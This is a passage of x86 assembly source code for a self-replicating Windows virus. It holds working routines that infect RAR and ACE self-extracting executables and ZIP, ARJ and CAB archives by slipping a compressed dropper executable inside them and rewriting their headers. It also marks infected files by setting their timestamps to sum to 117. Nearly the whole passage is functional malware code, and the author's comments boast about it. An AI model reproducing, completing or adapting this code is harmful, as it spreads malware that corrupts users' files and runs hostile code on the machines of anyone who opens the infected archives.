esi,[ebp+search_address] add esi,size search_handle ret __add_filename: ;add f.n. or ext by HyperTable call __get_last_char cmp byte ptr [ebx],00h ;only extension ? jnz __af_fullcopy mov eax,[ebx+1] ;load extension mov byte ptr [edi],2Ah ;'*' mov [edi+1],eax ;and extension mov byte ptr [edi+5],00h ;zero byte add ebx,HyperTable_OneSize cmp byte ptr [ebx - \ HyperTable_HalfSize],00h;search this extension ? jz __aff_finish pop eax jmp __find_dir __aff_finish: ret __af_fullcopy: inc ebx mov al,byte ptr [ebx] ;load filename's char mov [edi],al inc edi or al,al ;end of filename ? jnz __af_fullcopy add ebx,HyperTable_HalfSize+1;+1 means zero byte cmp byte ptr [ebx - \ HyperTable_HalfSize],00h;search this filename ? jz __aff_finish pop eax jmp __find_dir __get_last_char: ;edi=last char+1 in filename lea edi,[ebp+search_filename] mov ecx,filename_size xor al,al cld repnz scasb dec edi ret __clean: ;clean last item in filename lea edx,[ebp+search_filename] call __get_last_char __2:mov byte ptr [edi],0 dec edi cmp byte ptr [edi],'\' jnz __2 inc edi ret ;ÄÄÄ´ infection in ACE/RAR and ACE/RAR EXE-SFX archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function scans input EXE file whether it is not SFX ;for RAR (Dos,W32) or for ACE (Dos,Win32 - German/English) ;If yes, I will put compressed dropper in the end of file. ;Why that ? See on "infect_ACE:" comment for more info. ; __iSFX_fHandle dd 00000000h ;file's handle __iSFX_fMemory dd 00000000h ;file's headers __iSFX_nCompare dd 00000000h ;comparing places ; infect_ACE_RAR: ; open input file mov edx,[ebp+filename_ptr] call __MyOpenFile jc __iSFX_finish mov [ebp+__iSFX_fHandle],eax ; allocate memory for comparing mov eax,10000h call malloc mov [ebp+__iSFX_fMemory],eax ; we must search certain bytes on certain file position mov [ebp+__iSFX_nCompare],7 ;six! comparing __iSFX_search_1: dec [ebp+__iSFX_nCompare] jz __iSFX_sEnd lea ebx,[ebp+Archive_MagicWhere] __iSFX_magic_okay: mov eax,[ebp+__iSFX_nCompare] imul eax,00000004h add ebx,eax movzx ecx,word ptr [ebx-0002h] ;ecx=bytes to read movzx esi,word ptr [ebx-0004h] ;esi=file pos ; now, i will read datas mov edx,[ebp+__iSFX_fMemory] ;allocated place mov ebx,[ebp+__iSFX_fHandle] call __MyReadFile ;i can't check error! ; prepare to scan mov edi,[ebp+__iSFX_fMemory] mov ebx,edi add ebx,ecx ;end of memory buffer __iSFX_search_2: cmp edi,ebx ja __iSFX_search_1 ; search archive's signatures lea esi,[ebp+RAR_Magic] ;no, esi=RAR_Magic mov ecx,RAR_Magic_Length ;and its size cmp [ebp+__iSFX_nCompare],00000004h jae __iSFX_s2_continue ;is it really RAR ? lea esi,[ebp+ACE_Magic] ;esi=ACE_Magic mov ecx,ACE_Magic_Length ;and its size __iSFX_s2_continue: cld rep cmpsb ;compare magics jnz __iSFX_search_2 ;shit, we must search on other place ; position on header's start sub edi,RAR_Magic_Length cmp [ebp+__iSFX_nCompare],00000004h jae __iSFX_h_read sub edi,2*ACE_Magic_Length-RAR_Magic_Length __iSFX_h_read: ; check multivolume flag cmp [ebp+__iSFX_nCompare],00000004h jae __iSFX_mf_rar test word ptr [edi+ACEhHeadFlags-ACE_h_struct],2048 jmp __iSFX_mf_finish __iSFX_mf_rar: test word ptr [edi+RARFileFlags-RARSignature],0001h __iSFX_mf_finish: jnz __iSFX_sEnd ; call "child" functions, set certain input parameters mov eax,[ebp+__iSFX_fHandle] mov [ebp+__iACR_fHandle],eax ;modify handle mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive cmp [ebp+__iSFX_nCompare],00000004h jae __iSFX_cc_finish mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive __iSFX_cc_finish: mov ebx,[ebp+__iSFX_fHandle] ;check whether SFX call __get_archive_infected ;archive has been jc __iSFX_fClose ;infected call __iACR_child_function ;call main function jmp __iSFX_finish ;to infect ACE or RAR __iSFX_sEnd: call __iSFX_fClose stc ret __iSFX_fClose: mov ebx,[ebp+__iSFX_fHandle] call __MyCloseFile __iSFX_finish: clc ret ;ÄÄÄ´ infection in ACE, RAR archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function infects ACE and RAR archivez. Unfortunately ;I can't my dropper place inside archive 'cause if archive ;is solid type resulting archive won't okay. Yes, this was ;shock for me. But if archive isn't solid all will be okay ;althrough this method is not support here. So, my dropper ;is compressed but in the end of file. ; ; input: filename_ptr ... pointer to an ARJ's filename ; NewARJ struc ... has been filled? I dont know! ; ; output: nothing ; __iACR_fHandle dd 00000000h ;archive's handle __iACR_dHandle dd 00000000h ;dropper's handle __iACR_dMemory dd 00000000h ;dropper's body ; __iACR_Type dd 00000000h ;ACE or RAR ? __iACR_tACE equ 00h ;ACE signature __iACR_tRAR equ 01h ;RAR signature ; infect_ACE: mov [ebp+__iACR_Type],__iACR_tACE ;yeah, ACE archive jmp infect_ACR infect_RAR: mov [ebp+__iACR_Type],__iACR_tRAR ;yeah, RAR archive ; here, common functions is starting... infect_ACR: ; check whether dropper exists mov eax,[ebp+__iACR_Type] ;get archive type imul eax,size AProgram cmp [ebp+eax+NewACE.dropper],00000000h jz __iACR_finish ;does dropper exists ? ; open archive file mov edx,[ebp+filename_ptr] call __MyOpenFile jc __iACR_finish mov [ebp+__iACR_fHandle],eax ; check whether archive has been infected mov ebx,[ebp+__iACR_fHandle] call __get_archive_infected jc __iACR_fClose ; read archive header cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE jnz __iACR_rar_1 lea edx,[ebp+ACE_h_struct] ;destination place mov ecx,ACENeededBytes jmp __iACR_end_1 __iACR_rar_1: lea edx,[ebp+RARSignature] ;destination place mov ecx,RARSignature_Length + \ RARNeededBytes ;number of bytes to read __iACR_end_1: xor esi,esi mov ebx,[ebp+__iACR_fHandle] call __MyReadFile jc __iACR_fClose ; check archive's header cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE jnz __iACR_rar_2 cmp dword ptr [ebp+ACEhSignature],'CA**' jnz __iACR_fClose ;the 1st part of sign cmp word ptr [ebp+ACEhSignature+00000004h],'*E' jnz __iACR_fClose ;the 2nd part test word ptr [ebp+ACEhHeadFlags],2048 jnz __iACR_fClose ;multivolume flag ? jmp __iACR_end_2 __iACR_rar_2: cmp dword ptr [ebp+RARSignature],'!raR' jnz __iACR_fClose cmp word ptr [ebp+RARSignature+00000004h],071Ah jnz __iACR_fClose test word ptr [ebp+RARFileFlags],0001h jnz __iACR_fClose ;multivolume flag ? __iACR_end_2: ; open dropper file __iACR_child_function: mov edx,[ebp+__iACR_Type] ;get archive type imul edx,size AProgram mov edx,[ebp+edx+NewACE.dropper] or edx,edx ;once again test: jz __iACR_finish ;does dropper exists ? call __MyOpenFile jc __iACR_fClose mov [ebp+__iACR_dHandle],eax ; get dropper's file size mov ebx,[ebp+__iACR_dHandle] call __MyGetFileSize mov ecx,eax ; allocate memory for dropper's file body call malloc mov [ebp+__iACR_dMemory],eax ; read whole dropper's body mov edx,[ebp+__iACR_dMemory];destination buffer xor esi,esi ;file position mov ebx,[ebp+__iACR_dHandle];dropper's handle call __MyReadFile jc __iACR_dClose ; get archive file size mov ebx,[ebp+__iACR_fHandle] call __MyGetFileSize mov esi,eax ; "update" archive file by my dropper cmp dword ptr [ebp+offset __iACR_Type],__iACR_tACE jnz __iACR_rar_3 movzx eax,word ptr [edx+ACEhHeadSize-ACE_h_struct] add eax,00000004h jmp __iACR_end_3 __iACR_rar_3: movzx eax,word ptr [edx+RARHeaderSize-RARSignature] add eax,RARSignature_Length __iACR_end_3: add edx,eax ;header take away sub ecx,eax ;without main header, please mov ebx,[ebp+__iACR_fHandle] call __MyWriteFile ;write my dropper, uaaah :) ; archive has been infected mov ebx,[ebp+__iACR_fHandle] call __set_archive_infected __iACR_dClose: mov ebx,[ebp+__iACR_dHandle] call __MyCloseFile __iACR_dealloc: mov eax,[ebp+__iACR_dMemory] call mdealloc __iACR_fClose: mov ebx,[ebp+__iACR_fHandle] call __MyCloseFile __iACR_finish: ret ;ÄÄÄ´ infection in ARJ archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function infect ARJ archivez by my prepared dropper. ;Dropper is compressed by ARJ (four method without store). ; ; input: filename_ptr ... pointer to an ARJ's filename ; NewARJ struc ... 's been filled? I dont know! ; ; output: nothing ; __iARJ_fHandle dd 00000000h ;archive's handle __iARJ_fFiles dd 00000000h ;number of files __iARJ_dHandle dd 00000000h ;dropper's handle __iARJ_dMemory dd 00000000h ;dropper's file body ; infect_ARJ: xor eax,eax mov [ebp+__iARJ_fFiles],eax ; check whether dropper exists cmp [ebp+NewARJ.dropper],00000000h jz __iARJ_finish ; open archive mov edx,[ebp+filename_ptr] call __MyOpenFile jc __iARJ_finish mov [ebp+__iARJ_fHandle],eax ; check whether archive has been infected mov ebx,[ebp+__iARJ_fHandle] call __get_archive_infected jc __iARJ_fClose ; read archive header lea edx,[ebp+ARJ_struct] ;destination place mov ecx,ARJNeededBytes ;needed bytes to read xor esi,esi ;file position mov ebx,[ebp+__iARJ_fHandle];file handle call __MyReadFile jc __iARJ_fClose ; check archive's signatures cmp word ptr [ebp+ARJHeaderId],0EA60h jnz __iARJ_fClose test byte ptr [ebp+ARJFlags],04h jnz __iARJ_fClose ;multivolume flags, I guess ; get number of files lea edx,[ebp+ARJ_struct] ;destination place movzx esi,word ptr [ebp+ARJHeaderSize] ;file position add esi,0000000Ah ;add up file-off mov ecx,ARJNeededBytes ;needed bytes to read mov ebx,[ebp+__iARJ_fHandle];file handle push esi ;first entry __iARJ_search_1: call __iARJ_next_file jc __iARJ_sEnd_1 ;it isn't 100% error ! ; next file has been found inc [ebp+__iARJ_fFiles] ;increase files counter :) jmp __iARJ_search_1 __iARJ_sEnd_1: pop esi ;first entry cmp ecx,00000004h ;end of file ? jnz __iARJ_fClose cmp word ptr [ebp+ARJHeaderSize],0000h jnz __iARJ_fClose ;double security :) ; generate my new archive file position mov eax,[ebp+__iARJ_fFiles] ;number of files inc eax call ppe_get_rnd_range xchg eax,ecx ;new ECX: disable files ; read file headers which aren't neccessary for me jecxz __iARJ_sEnd_2 __iARJ_search_2: push ecx call __iARJ_next_file ;disable folders pop ecx loop __iARJ_search_2 __iARJ_sEnd_2: ; note: ESI = my new place :) mov edi,esi ; open dropper file mov edx,[ebp+NewARJ.dropper] call __MyOpenFile jc __iARJ_fClose mov [ebp+__iARJ_dHandle],eax ; get dropper's file size mov ebx,[ebp+__iARJ_dHandle] call __MyGetFileSize mov edx,eax ; get archive's file size and subtract my new place mov ebx,[ebp+__iARJ_fHandle] call __MyGetFileSize sub eax,esi ;esi = my new place push eax ;archive's needed size add eax,edx push edx ;dropper's file size ; allocate memory for dropper's file body call malloc mov [ebp+__iARJ_dMemory],eax ; read whole dropper's file body mov edx,[ebp+__iARJ_dMemory];destination place pop ecx ;number of bytes to read xor esi,esi ;file position mov ebx,[ebp+__iARJ_dHandle];file handle call __MyReadFile pop ebx ;archive's needed file size jc __iARJ_dClose ; read "almost" whole archive file behind my dropper add edx,ecx ;new destination place sub edx,00000004h ;delete ending two flags mov esi,edi ;edi = my new place mov ecx,ebx ;number of bytes to read mov ebx,[ebp+__iARJ_fHandle] call __MyReadFile jc __iARJ_dClose ; "update" archive file :) add ecx,edx ;end of readed datas sub ecx,[ebp+__iARJ_dMemory] mov edx,[ebp+__iARJ_dMemory] movzx eax,word ptr [edx+00000002h] add eax,0000000Ah add edx,eax sub ecx,eax mov ebx,[ebp+__iARJ_fHandle] call __MyWriteFile ; archive has been infected mov ebx,[ebp+__iARJ_fHandle] call __set_archive_infected __iARJ_dClose: mov ebx,[ebp+__iARJ_dHandle] call __MyCloseFile __iARJ_dealloc: mov eax,[ebp+__iARJ_dMemory] call mdealloc __iARJ_fClose: mov ebx,[ebp+__iARJ_fHandle] call __MyCloseFile __iARJ_finish: ret ;--------------------------------------------------------- ;Set file position on the next entry ; ; input: EDX ... destination buffer ; EBX ... file handle ; ESI ... some header's place (file position) ; ; output: ESI ... next header position (if exists :) ; Cflags ; __iARJ_next_file: mov ecx,ARJNeededBytes ;number of bytes to read call __MyReadFile jc __iARJ_nf_check ;it isn't 100% error ! ; set file position on the next file movzx eax,word ptr [ebp+ARJHeaderSize] add eax,[ebp+ARJCompressedSize] add eax,0000000Ah ;add up file-off add esi,eax __iARJ_nf_check: ret ;ÄÄÄ´ infection in ZIP archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function adds to ZIP archive certain EXE file which ;has been infected and compressed by PKZIP achiver program ;Compressing method has been selected randomly from four ;possibilities (without "store" method, of course). ; ; input: filename_ptr ... pointer to a ZIP's filename ; NewZIP struc ... has been filled? I dont know! ; ; output: nothing ; __iZIP_fHandle dd 00000000h ;archive's file handle __iZIP_fHeaders dd 00000000h ;archive's headers __iZIP_fNewDPos dd 00000000h ;a. pos for d. body __iZIP_fMemory dd 00000000h ;archive's file body __iZIP_dHandle dd 00000000h ;dropper's file handle __iZIP_dFSize dd 00000000h ;dropper's file size __iZIP_dMemory dd 00000000h ;dropper's file body __iZIP_dHSize dd 00000000h ;dropper's header s. ; infect_ZIP: ; check whether "NewZIP" struc has been filled cmp [ebp+NewZIP.dropper],00000000h jz __iZIP_finish ; open archive file mov edx,[ebp+filename_ptr] call __MyOpenFile jc __iZIP_finish mov [ebp+__iZIP_fHandle],eax ; check whether archive has been infected mov ebx,[ebp+__iZIP_fHandle] call __get_archive_infected jc __iZIP_fClose ; get archive file size mov ebx,[ebp+__iZIP_fHandle] call __MyGetFileSize mov esi,eax ; read its 3rd table mov ecx,ZIPEHeaderSize ;number of bytes to read lea edx,[ebp+ZIPReadBuffer] ;destination buffer sub esi,ZIPEHeaderSize ;file pos mov ebx,[ebp+__iZIP_fHandle];file handle call __MyReadFile jc __iZIP_fClose ; check that table cmp word ptr [ebp+ZIPEHeaderId],'KP' jnz __iZIP_fClose cmp word ptr [ebp+ZIPSignature],0605h jnz __iZIP_fClose cmp dword ptr [ebp+ZIPNoDisk],00000000h jnz __iZIP_fClose ; open dropper file mov edx,[ebp+NewZIP.dropper] call __MyOpenFile jc __iZIP_fClose mov [ebp+__iZIP_dHandle],eax ; get its file size mov ebx,[ebp+__iZIP_dHandle] call __MyGetFileSize mov [ebp+__iZIP_dFSize],eax ; allocate memory call malloc mov [ebp+__iZIP_dMemory],eax ; read its file body mov ecx,[ebp+__iZIP_dFSize] ;number of bytes to read mov edx,[ebp+__iZIP_dMemory];destination buffer xor esi,esi ;file pos mov ebx,[ebp+__iZIP_dHandle] call __MyReadFile ; get dropper's start of header and its length mov esi,[ebp+__iZIP_dMemory] add esi,[ebp+__iZIP_dFSize] mov ecx,[esi-0000000Ah] ;length of 2nd header sub esi,ZIPEHeaderSize ;esi = header sub esi,ecx mov [ebp+__iZIP_dHSize],ecx push esi ; allocate memory for archive header + new header mov eax,[ebp+ZIPSizeDir] add eax,ecx call malloc mov [ebp+__iZIP_fHeaders],eax ; read them to the buffer mov ecx,[ebp+ZIPSizeDir] ;number of bytes to read add ecx,ZIPEHeaderSize ;include 3rd table as well mov edx,eax ;destination place mov esi,[ebp+ZIPOffsetDir] ;file pos mov ebx,[ebp+__iZIP_fHandle] call __MyReadFile jc __iZIP_dealloc ; get actual files in archive movzx ecx,word ptr [ebp+ZIPEntrysDir] ; and select my new position :) lea eax,[ecx+00000001h] call ppe_get_rnd_range sub ecx,eax push ecx xchg eax,ecx ; get my future offset if I'll be in the end mov eax,[ebp+ZIPOffsetDir] not eax mov [ebp+__iZIP_fNewDPos],eax ; seek on my new position in the headers mov esi,[ebp+__iZIP_fHeaders] __iZIP_search_1: jecxz __iZIP_sEnd_1 add esi,ZIPRScanSize1 ;seek on FileNameSize movzx eax,word ptr [esi] ; + filename length add ax,word ptr [esi+2] ; + extra field add esi,eax add esi,ZIPRScanSize2 ;seek on text file folder loop __iZIP_search_1 __iZIP_sEnd_1: pop ecx ;how many folders change ? push esi ;my new place for header __iZIP_search_2: jecxz __iZIP_sEnd_2 add esi,ZIPRScanSize1 + \ ZIPRScanSize3 test dword ptr [ebp+__iZIP_fNewDPos],0F0000000h jz __iZIP_search_2_next mov eax,[esi] mov [ebp+__iZIP_fNewDPos],eax __iZIP_search_2_next: mov eax,[ebp+__iZIP_dFSize] ;== fbody+2nd+3rd table sub eax,ZIPEHeaderSize ;== - 3rd table sub eax,[ebp+__iZIP_dHSize] ;== - dropper's header size add [esi],eax add esi,[esi-ZIPRScanSize3] ;add FileNameSize add esi,00000004h loop __iZIP_search_2 __iZIP_sEnd_2: ; get number of bytes to move mov ecx,esi pop esi ;my new place sub ecx,esi ;number of bytes to move add ecx,ZIPEHeaderSize ;include last table as well mov edi,esi ;"almost" destination add edi,[ebp+__iZIP_dHSize] ;dropper's header length push esi call __movsd_back pop edi ; copy my new table, it means: "update header", please :) mov ecx,[ebp+__iZIP_dHSize] pop esi ;start of dropper's header push edi rep movsb pop edi ; change this copied header add edi,ZIPRScanSize1 + ZIPRScanSize3 mov eax,[ebp+__iZIP_fNewDPos] test eax,0F0000000h ;only if it is last "section" jz $+4 not eax mov [ebp+__iZIP_fNewDPos],eax mov [edi],eax ;start of data mov ecx,eax ; allocate memory for archive body mov ebx,[ebp+__iZIP_fHandle] call __MyGetFileSize sub eax,ecx ;sub start of data mov edx,eax add eax,[ebp+__iZIP_dFSize] sub eax,[ebp+__iZIP_dHSize] ;dropper's header length sub eax,ZIPEHeaderSize ;3rd tablee call malloc mov [ebp+__iZIP_fMemory],eax ; read part of archive file to the memory mov esi,ecx ;file position mov ecx,edx ;number of bytes to read mov edx,[ebp+__iZIP_dHSize] ;dropper's header length neg edx ;this was fucking bug ! add edx,[ebp+__iZIP_dFSize] sub edx,ZIPEHeaderSize ;i don't want 3rd table mov edi,edx ;dropper's compressed body add edx,[ebp+__iZIP_fMemory];destination place mov ebx,[ebp+__iZIP_fHandle] call __MyReadFile jc __iZIP_dealloc ; copy my compressed dropper before reader data mov edx,ecx mov ecx,edi ;dropper's compressed body s. mov ebx,ecx mov esi,[ebp+__iZIP_dMemory] mov edi,[ebp+__iZIP_fMemory] rep movsb ;"update" archive :) ; copy my changed headers behind compressed datas add edi,edx ;in the end of file sub edi,[edi-0000000Ah] ;length of the 2nd table sub edi,ZIPEHeaderSize ; - 3rd table mov esi,[ebp+__iZIP_fHeaders] __iZIP_replace: cmp [esi],06054B50h ;'PK',05,06 ? Last table ? jz __iZIP_replace_finish lodsb stosb jmp __iZIP_replace __iZIP_replace_finish: mov ecx,ZIPEHeaderSize ;copy last table rep movsb ; change last table add [edi-00000006h],ebx ;archive size + dropper body mov ecx,[ebp+__iZIP_dHSize] ;dropper's header length add [edi-0000000Ah],ecx ;change ZIPSizeDir inc word ptr [edi-0000000Eh];increase ZIPEntryDisk inc word ptr [edi-0000000Ch];increase ZIPEntryDir ; "update" archive file body mov edx,[ebp+__iZIP_fMemory] mov ecx,edi sub ecx,edx mov esi,[ebp+__iZIP_fNewDPos] mov ebx,[ebp+__iZIP_fHandle] call __MyWriteFile ; archive has been infected mov ebx,[ebp+__iZIP_fHandle] call __set_archive_infected __iZIP_dealloc: mov eax,[ebp+__iZIP_fMemory] call mdealloc mov eax,[ebp+__iZIP_fHeaders] call mdealloc mov eax,[ebp+__iZIP_dMemory] call mdealloc mov ebx,[ebp+__iZIP_dHandle] call __MyCloseFile __iZIP_fClose: mov ebx,[ebp+__iZIP_fHandle] call __MyCloseFile __iZIP_finish: ret ;ÄÄÄ´ infection in CAB archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function infects Microsoft CAB archivez. The way of ;infection is the most difficult of all archivez here.Why? ;Micro$hit CAB format is too stupid, I cannot compress my ;dropper because I don't know any DLL which support this. ;Although Windows has some Extrac32 and so on. If you want ;to know more about CAB infection, download my tutorial on ;web: http://prizzy.cjb.net (download section, of course). ; ; input: filename_ptr ... pointer to a CAB's file ; NewCAB.dropper . name of EXE ; __iCAB_fHandle dd 00000000h ;archive's handle __iCAB_fFSize dd 00000000h ;archive's file size __iCAB_fMemory dd 00000000h ;archive's body+hdrs __iCAB_dHandle dd 00000000h ;dropper's handle __iCAB_dFSize dd 00000000h ;dropper's file size __iCAB_nChars dd 00000000h ;chars of new name __iCAB_myFolder dd 00000000h ;my new folder ; infect_CAB: ; check whether dropper exists cmp [ebp+NewCAB.dropper],00000000h jz __iCAB_finish ; open archive file mov edx,[ebp+filename_ptr] call __MyOpenFile jc __iCAB_finish mov [ebp+__iCAB_fHandle],eax ; check whether archive has been infected mov ebx,[ebp+__iCAB_fHandle] call __get_archive_infected jc __iCAB_fClose ; get archive file size mov ebx,[ebp+__iCAB_fHandle] call __MyGetFileSize mov [ebp+__iCAB_fFSize],eax ; open dropper file mov edx,[ebp+NewCAB.dropper] call __MyOpenFile jc __iCAB_fClose mov [ebp+__iCAB_dHandle],eax ; get dropper's file size mov ebx,[ebp+__iCAB_dHandle] call __MyGetFileSize mov [ebp+__iCAB_dFSize],eax ; generate dropper's name lea edi,[ebp+CABf_FileName] call generate_name mov [ebp+__iCAB_nChars],eax ; allocate memory for whole file mov eax,[ebp+__iCAB_fFSize] add eax,[ebp+__iCAB_dFSize] add eax,(CABe_Compr_data - CAB_directory_start) - (8+1+3) add eax,[ebp+__iCAB_nChars] call malloc mov [ebp+__iCAB_fMemory],eax ; read archive's headers to buffer mov edx,[ebp+__iCAB_fMemory] mov ecx,[ebp+__iCAB_fFSize] ;number of bytes to read xor esi,esi ;file position mov ebx,[ebp+__iCAB_fHandle];file handle call __MyReadFile jc __iCAB_dClose ; check archive's header mov edi,[ebp+__iCAB_fMemory] cmp [edi],'FCSM' ;"MSCF" signature ? jnz __iCAB_dClose cmp word ptr [edi]. \ (CABh_VersionMin - CAB_h_struct),0103h jnz __iCAB_dClose ; get volume number - I want only 1st volume cmp word ptr [edi]. \ (CABh_Number - CAB_h_struct),0000h jnz __iCAB_dClose ; set ESI on the first entry movzx esi,word ptr [edi]. (CABh_FirstRec - CAB_h_struct) add esi,[ebp+__iCAB_fMemory] ; modify folder's starts push esi movzx ebx,word ptr [edi]. (CABh_nFolders - CAB_h_struct) __iCAB_modify: or ebx,ebx jz __iCAB_modified sub esi,(CAB_file_start - CAB_directory_start) mov eax,(CAB_entry - CAB_directory_start) - (8+1+3) add eax,[ebp+__iCAB_nChars] add dword ptr [esi]. \ (CABd_FirstRec - CAB_directory_start),eax dec ebx jmp __iCAB_modify __iCAB_modified: pop esi ; make place for new folder push edi mov edi,esi add edi,(CAB_file_start - CAB_directory_start) mov ecx,[ebp+__iCAB_fFSize] add ecx,[ebp+__iCAB_fMemory] sub ecx,esi call __movsd_back pop edi ; save offset - ESI=place of the new folder add esi,00000004h mov [ebp+__iCAB_myFolder],esi ;modify later ; get number of files and calculate my new file position movzx eax,word ptr [edi]. (CABh_nFiles - CAB_h_struct) push eax call ppe_get_rnd_range inc eax xchg eax,edx push edx ; modify all file structs in CAB archive add esi,(CAB_file_start - CAB_directory_start) push edi mov edi,esi __iCAB_search: or edx,edx jz __iCAB_searched add edi,(CABf_FileName - CAB_file_start) mov ecx,-1 xor al,al repnz scasb dec edx jmp __iCAB_search __iCAB_searched: mov esi,edi pop edi ; update file in folder mov dx,[edi].(CABh_nFolders - CAB_h_struct) ; make place for new file struct push edi mov edi,esi add edi,(CAB_entry - CAB_file_start) - (8+1+3) add edi,[ebp+__iCAB_nChars] ;new file name length mov ecx,[ebp+__iCAB_fFSize] add ecx,[ebp+__iCAB_fMemory] add ecx,(CAB_file_start - CAB_directory_start) sub ecx,esi call __movsd_back ; set some values to file header mov eax,[ebp+__iCAB_dFSize] ;drropper's file size mov word ptr [ebp+CABe_Compr],ax mov word ptr [ebp+CABe_UnCompr],ax mov [ebp+CABf_UnCompSize],eax ; save offset of the file struct add esi,00000004h mov edi,esi lea esi,[ebp+CAB_file_start] mov [esi].(CABf_Flags - CAB_file_start),dx mov ecx,(CAB_entry - CAB_file_start) - (8+1+3) add ecx,[ebp+__iCAB_nChars] rep movsb mov esi,edi pop edi ; modify files - ESI=next file struct pop edx pop ebx sub ebx,edx ;files to modify push edi mov edi,esi __iCAB_search_2: or ebx,ebx jz __iCAB_searched_2 add edi,(CABf_FileName - CAB_file_start) mov ecx,-1 xor al,al repnz scasb dec ebx jmp __iCAB_search_2 __iCAB_searched_2: pop edi ; change CAB header inc word ptr [edi]. \ ;add new folder (CABh_nFolders - CAB_h_struct) inc word ptr [edi]. \ ;add new files (CABh_nFiles - CAB_h_struct) add dword ptr[edi]. \ (CABh_FirstRec - CAB_h_struct), \ CAB_file_start - CAB_directory_start mov eax,[ebp+__iCAB_dFSize] add eax,[ebp+__iCAB_nChars] add eax,(CAB_entry - CAB_file_start) - (8+1+3) add dword ptr[edi]. \ (CABh_FileSize - CAB_h_struct),eax ; change folder's values mov edi,[ebp+__iCAB_myFolder] mov eax,[ebp+__iCAB_fFSize] add eax,(CAB_entry - CAB_directory_start) - (8+1+3) add eax,[ebp+__iCAB_nChars] mov [edi],eax ;offset to the 1st entry mov word ptr [edi+4],0001h ;number of blocks mov word ptr [edi+6],0000h ;type of compress ; create new block and copy dropper mov edi,[ebp+__iCAB_fMemory] add edi,[ebp+__iCAB_fFSize] add edi,(CAB_entry - CAB_directory_start) - (8+1+3) add edi,[ebp+__iCAB_nChars] lea esi,[ebp+CAB_entry] ;create new block mov ecx,(CABe_Compr_data - CAB_entry) rep movsb mov edx,edi ;copy my dropper mov ecx,[ebp+__iCAB_dFSize] xor esi,esi mov ebx,[ebp+__iCAB_dHandle] call __MyReadFile jc __iCAB_dClose ; "update" headers + whole file + dropper mov edx,[ebp+__iCAB_fMemory] add ecx,edi sub ecx,edx xor esi,esi mov ebx,[ebp+__iCAB_fHandle] call __MyWriteFile ; archive has been infected mov ebx,[ebp+__iCAB_fHandle] call __set_archive_infected __iCAB_dClose: mov eax,[ebp+__iCAB_fMemory] call mdealloc mov ebx,[ebp+__iCAB_dHandle] call __MyCloseFile __iCAB_fClose: mov ebx,[ebp+__iCAB_fHandle] call __MyCloseFile __iCAB_finish: ret ;ÄÄÄ´ common archivez operations ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;Check whether archive has been infected. This function ;reads its time and calculate whether isn't divided by ;magic number (for this virus it is 117). ; ; input: ; EBX ... file handle ; output: ; CFlags ; __get_archive_infected: ; get archive file time lea eax,[ebp+FileTime] push eax ;LastWriteTime push 00000000h ;LastAccessTime push 00000000h ;CreationTime push ebx ;file handle call [ebp+ddGetFileTime] or eax,eax jz __gai_failed ; convert "FileTime" to "SystemTime" lea eax,[ebp+SystemTime] ;SystemTime structure push eax lea eax,[ebp+FileTime] ;FileTime structure push eax call [ebp+ddFileTimeToSystemTime] ; hours, minutes, seconds, milliseconds add up lea esi,word ptr [ebp+SystemTime] mov ecx,(size SystemTime - 2) / 2 xor ebx,ebx __gai_calculate: lodsw add ebx,eax dec ecx jnz __gai_calculate sub ebx,1990 sub bx,word ptr [ebp+SystemTime.wDayOfWeek] xchg eax,ebx call __check_infected jnc __gai_failed test al,0F9h ;hidden STC instruction __gai_failed equ $-1 ret ;--------------------------------------------------------- ;This function set 117 value among Year, Month, Day, Hour, ;Minute and Second value by FileTime. At first I will put ;random values there and then I will modify it once again. ; ; input: ; EBX ... file handle ; ; TimeBuffer: ; 1st value = offset in SystemTime struct ; 2nd value = max of generate number ; 3rd value = increase generate number __sai_TimeBuffer db 0,10,0, 2,12,1, 6,30,1, 8,24,0 db 10,60,0, 12,60,0 __sai_counter dd 00000000h ; __set_archive_infected: push ebx ; divide that number to Year, Month, Day, Hour, Minute... __sai_restart: lea edi,[ebp+__sai_TimeBuffer] lea edx,[ebp+SystemTime] mov esi,117 xor ecx,ecx __sai_again: movzx ebx,byte ptr [edi+ecx] ;offset in SystemTime struct movzx eax,byte ptr [edi+ecx+1];generate number call ppe_get_rnd_range cmp byte ptr [edi+ecx+2],1 jnz __sai_loop inc eax __sai_loop: mov [edx+ebx],ax sub esi,eax add ecx,3 cmp ecx,3*6 jnz __sai_again ; only even seconds test [ebp+SystemTime].wSecond,1 jnz __sai_restart test esi,80000000h jnz __sai_restart or esi,esi jz __sai_continue ; increase/decrease some value from SystemTime __sai_next_loop: lea edi,[ebp+__sai_TimeBuffer] lea edx,[ebp+SystemTime] __sai_new_value: mov [ebp+__sai_counter],2 ;disable Year __sai_next_value: xor ecx,ecx ;start of scaning __sai_next_round: add ecx,3 ;disable Year or movzx eax,byte ptr [edi+ecx] ;next value movzx ebx,byte ptr [edi+ecx+1] cmp eax,[ebp+__sai_counter] ;the right value jnz __sai_next_round dec bx ;'ceuse of gen. n. cmp [edx+eax],bx jz __sai_fulled inc word ptr [edx+eax] ;increase value dec esi ;decrease counter __sai_fulled: or esi,esi ;finish ? jz __sai_continue __sai_disable_value: add [ebp+__sai_counter],00000002h ;next value in ST cmp [ebp+__sai_counter],00000004h ;"Day Of Week" value? jz __sai_disable_value ;if 